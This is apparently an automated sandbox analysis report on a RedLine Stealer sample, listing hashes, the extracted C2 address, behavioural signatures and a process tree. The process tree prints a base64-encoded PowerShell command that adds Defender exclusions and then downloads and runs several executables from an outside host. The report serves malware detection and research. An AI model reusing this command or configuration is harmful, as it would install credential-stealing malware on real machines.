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Analysis
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max time kernel
43s -
max time network
92s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
12/01/2023, 19:15
Static task
static1
Behavioral task
behavioral1
Sample
2322f5781bb89651ba6092ca612968241852557b.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
2322f5781bb89651ba6092ca612968241852557b.exe
Resource
win10v2004-20221111-en
General
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Target
2322f5781bb89651ba6092ca612968241852557b.exe
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Size
242KB
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MD5
553cd6c954fd980bd7a6ecee71c308f9
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SHA1
2322f5781bb89651ba6092ca612968241852557b
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SHA256
64c6995d935467a2d45078af64bcf872bdc0175917df546987a8579e71de2735
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SHA512
a9ba74497cce1be981d3010f09540f503d3a41b16c92dff6fb18e00052b5eaa14308cf232e70a28757029599479ddfeea60965f7ea2b594a7a1d650d445f9a15
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SSDEEP
6144:vfRDK77E07tfCXaTxophyratd/HAOKF9cx9c:he77E07tfCXLvICxG
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/424-178-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1760 created 2340 1760 SmartDefRun.exe 41 PID 1760 created 2340 1760 SmartDefRun.exe 41 PID 1760 created 2340 1760 SmartDefRun.exe 41 PID 1760 created 2340 1760 SmartDefRun.exe 41 PID 4924 created 576 4924 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 23 628 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 3136 C4Loader.exe 4532 new2.exe 1168 SysApp.exe 1760 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 5000 set thread context of 4464 5000 2322f5781bb89651ba6092ca612968241852557b.exe 86 PID 4532 set thread context of 424 4532 new2.exe 98 PID 1760 set thread context of 4524 1760 SmartDefRun.exe 118 PID 4924 set thread context of 3544 4924 powershell.EXE 123 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3028 sc.exe 4876 sc.exe 3412 sc.exe 1096 sc.exe 3376 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 2284 5000 WerFault.exe 83 1304 4532 WerFault.exe 93 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE -
Suspicious behavior: EnumeratesProcesses 45 IoCs
pid Process 628 powershell.exe 628 powershell.exe 1168 SysApp.exe 1168 SysApp.exe 1168 SysApp.exe 1168 SysApp.exe 1168 SysApp.exe 1168 SysApp.exe 1168 SysApp.exe 1168 SysApp.exe 1168 SysApp.exe 1168 SysApp.exe 1760 SmartDefRun.exe 1760 SmartDefRun.exe 1932 powershell.exe 1932 powershell.exe 1760 SmartDefRun.exe 1760 SmartDefRun.exe 1760 SmartDefRun.exe 1760 SmartDefRun.exe 2880 powershell.exe 2880 powershell.exe 1760 SmartDefRun.exe 1760 SmartDefRun.exe 4924 powershell.EXE 4924 powershell.EXE 4692 powershell.EXE 4692 powershell.EXE 4924 powershell.EXE 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe 3544 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 628 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeDebugPrivilege 2880 powershell.exe Token: SeIncreaseQuotaPrivilege 2880 powershell.exe Token: SeSecurityPrivilege 2880 powershell.exe Token: SeTakeOwnershipPrivilege 2880 powershell.exe Token: SeLoadDriverPrivilege 2880 powershell.exe Token: SeSystemProfilePrivilege 2880 powershell.exe Token: SeSystemtimePrivilege 2880 powershell.exe Token: SeProfSingleProcessPrivilege 2880 powershell.exe Token: SeIncBasePriorityPrivilege 2880 powershell.exe Token: SeCreatePagefilePrivilege 2880 powershell.exe Token: SeBackupPrivilege 2880 powershell.exe Token: SeRestorePrivilege 2880 powershell.exe Token: SeShutdownPrivilege 2880 powershell.exe Token: SeDebugPrivilege 2880 powershell.exe Token: SeSystemEnvironmentPrivilege 2880 powershell.exe Token: SeRemoteShutdownPrivilege 2880 powershell.exe Token: SeUndockPrivilege 2880 powershell.exe Token: SeManageVolumePrivilege 2880 powershell.exe Token: 33 2880 powershell.exe Token: 34 2880 powershell.exe Token: 35 2880 powershell.exe Token: 36 2880 powershell.exe Token: SeIncreaseQuotaPrivilege 2880 powershell.exe Token: SeSecurityPrivilege 2880 powershell.exe Token: SeTakeOwnershipPrivilege 2880 powershell.exe Token: SeLoadDriverPrivilege 2880 powershell.exe Token: SeSystemProfilePrivilege 2880 powershell.exe Token: SeSystemtimePrivilege 2880 powershell.exe Token: SeProfSingleProcessPrivilege 2880 powershell.exe Token: SeIncBasePriorityPrivilege 2880 powershell.exe Token: SeCreatePagefilePrivilege 2880 powershell.exe Token: SeBackupPrivilege 2880 powershell.exe Token: SeRestorePrivilege 2880 powershell.exe Token: SeShutdownPrivilege 2880 powershell.exe Token: SeDebugPrivilege 2880 powershell.exe Token: SeSystemEnvironmentPrivilege 2880 powershell.exe Token: SeRemoteShutdownPrivilege 2880 powershell.exe Token: SeUndockPrivilege 2880 powershell.exe Token: SeManageVolumePrivilege 2880 powershell.exe Token: 33 2880 powershell.exe Token: 34 2880 powershell.exe Token: 35 2880 powershell.exe Token: 36 2880 powershell.exe Token: SeIncreaseQuotaPrivilege 2880 powershell.exe Token: SeSecurityPrivilege 2880 powershell.exe Token: SeTakeOwnershipPrivilege 2880 powershell.exe Token: SeLoadDriverPrivilege 2880 powershell.exe Token: SeSystemProfilePrivilege 2880 powershell.exe Token: SeSystemtimePrivilege 2880 powershell.exe Token: SeProfSingleProcessPrivilege 2880 powershell.exe Token: SeIncBasePriorityPrivilege 2880 powershell.exe Token: SeCreatePagefilePrivilege 2880 powershell.exe Token: SeBackupPrivilege 2880 powershell.exe Token: SeRestorePrivilege 2880 powershell.exe Token: SeShutdownPrivilege 2880 powershell.exe Token: SeDebugPrivilege 2880 powershell.exe Token: SeSystemEnvironmentPrivilege 2880 powershell.exe Token: SeRemoteShutdownPrivilege 2880 powershell.exe Token: SeUndockPrivilege 2880 powershell.exe Token: SeManageVolumePrivilege 2880 powershell.exe Token: 33 2880 powershell.exe Token: 34 2880 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5000 wrote to memory of 2984 5000 2322f5781bb89651ba6092ca612968241852557b.exe 85 PID 5000 wrote to memory of 2984 5000 2322f5781bb89651ba6092ca612968241852557b.exe 85 PID 5000 wrote to memory of 2984 5000 2322f5781bb89651ba6092ca612968241852557b.exe 85 PID 5000 wrote to memory of 4464 5000 2322f5781bb89651ba6092ca612968241852557b.exe 86 PID 5000 wrote to memory of 4464 5000 2322f5781bb89651ba6092ca612968241852557b.exe 86 PID 5000 wrote to memory of 4464 5000 2322f5781bb89651ba6092ca612968241852557b.exe 86 PID 5000 wrote to memory of 4464 5000 2322f5781bb89651ba6092ca612968241852557b.exe 86 PID 5000 wrote to memory of 4464 5000 2322f5781bb89651ba6092ca612968241852557b.exe 86 PID 4464 wrote to memory of 628 4464 vbc.exe 90 PID 4464 wrote to memory of 628 4464 vbc.exe 90 PID 4464 wrote to memory of 628 4464 vbc.exe 90 PID 628 wrote to memory of 3136 628 powershell.exe 92 PID 628 wrote to memory of 3136 628 powershell.exe 92 PID 628 wrote to memory of 3136 628 powershell.exe 92 PID 628 wrote to memory of 4532 628 powershell.exe 93 PID 628 wrote to memory of 4532 628 powershell.exe 93 PID 628 wrote to memory of 4532 628 powershell.exe 93 PID 628 wrote to memory of 1168 628 powershell.exe 94 PID 628 wrote to memory of 1168 628 powershell.exe 94 PID 628 wrote to memory of 1168 628 powershell.exe 94 PID 628 wrote to memory of 1760 628 powershell.exe 95 PID 628 wrote to memory of 1760 628 powershell.exe 95 PID 4532 wrote to memory of 424 4532 new2.exe 98 PID 4532 wrote to memory of 424 4532 new2.exe 98 PID 4532 wrote to memory of 424 4532 new2.exe 98 PID 4532 wrote to memory of 424 4532 new2.exe 98 PID 4532 wrote to memory of 424 4532 new2.exe 98 PID 3584 wrote to memory of 3028 3584 cmd.exe 107 PID 3584 wrote to memory of 3028 3584 cmd.exe 107 PID 3584 wrote to memory of 4876 3584 cmd.exe 108 PID 3584 wrote to memory of 4876 3584 cmd.exe 108 PID 3584 wrote to memory of 3412 3584 cmd.exe 109 PID 3584 wrote to memory of 3412 3584 cmd.exe 109 PID 3584 wrote to memory of 1096 3584 cmd.exe 110 PID 3584 wrote to memory of 1096 3584 cmd.exe 110 PID 3584 wrote to memory of 3376 3584 cmd.exe 111 PID 3584 wrote to memory of 3376 3584 cmd.exe 111 PID 3584 wrote to memory of 772 3584 cmd.exe 112 PID 3584 wrote to memory of 772 3584 cmd.exe 112 PID 3584 wrote to memory of 3296 3584 cmd.exe 113 PID 3584 wrote to memory of 3296 3584 cmd.exe 113 PID 3584 wrote to memory of 1992 3584 cmd.exe 114 PID 3584 wrote to memory of 1992 3584 cmd.exe 114 PID 3584 wrote to memory of 5016 3584 cmd.exe 116 PID 3584 wrote to memory of 5016 3584 cmd.exe 116 PID 3584 wrote to memory of 5056 3584 cmd.exe 117 PID 3584 wrote to memory of 5056 3584 cmd.exe 117 PID 1760 wrote to memory of 4524 1760 SmartDefRun.exe 118 PID 4924 wrote to memory of 3544 4924 powershell.EXE 123 PID 4924 wrote to memory of 3544 4924 powershell.EXE 123 PID 4924 wrote to memory of 3544 4924 powershell.EXE 123 PID 4924 wrote to memory of 3544 4924 powershell.EXE 123 PID 4924 wrote to memory of 3544 4924 powershell.EXE 123 PID 4924 wrote to memory of 3544 4924 powershell.EXE 123 PID 4924 wrote to memory of 3544 4924 powershell.EXE 123 PID 4924 wrote to memory of 3544 4924 powershell.EXE 123 PID 4924 wrote to memory of 3544 4924 powershell.EXE 123 PID 3544 wrote to memory of 576 3544 dllhost.exe 3 PID 3544 wrote to memory of 660 3544 dllhost.exe 2 PID 3544 wrote to memory of 944 3544 dllhost.exe 79 PID 3544 wrote to memory of 1012 3544 dllhost.exe 9 PID 3544 wrote to memory of 516 3544 dllhost.exe 78 PID 3544 wrote to memory of 680 3544 dllhost.exe 77 PID 3544 wrote to memory of 1048 3544 dllhost.exe 76
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:660
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:576
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1012
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c1264058-4605-4da1-9f82-f4835d837fca}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2572
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3404
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:3472
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:836
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4888
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:4140
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4260
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4744
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3856
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3660
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:2540
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2340
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C:\Users\Admin\AppData\Local\Temp\2322f5781bb89651ba6092ca612968241852557b.exe"C:\Users\Admin\AppData\Local\Temp\2322f5781bb89651ba6092ca612968241852557b.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5000 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:2984
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:3136
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4532 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵PID:424
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4532 -s 4926⤵
- Program crash
PID:1304
-
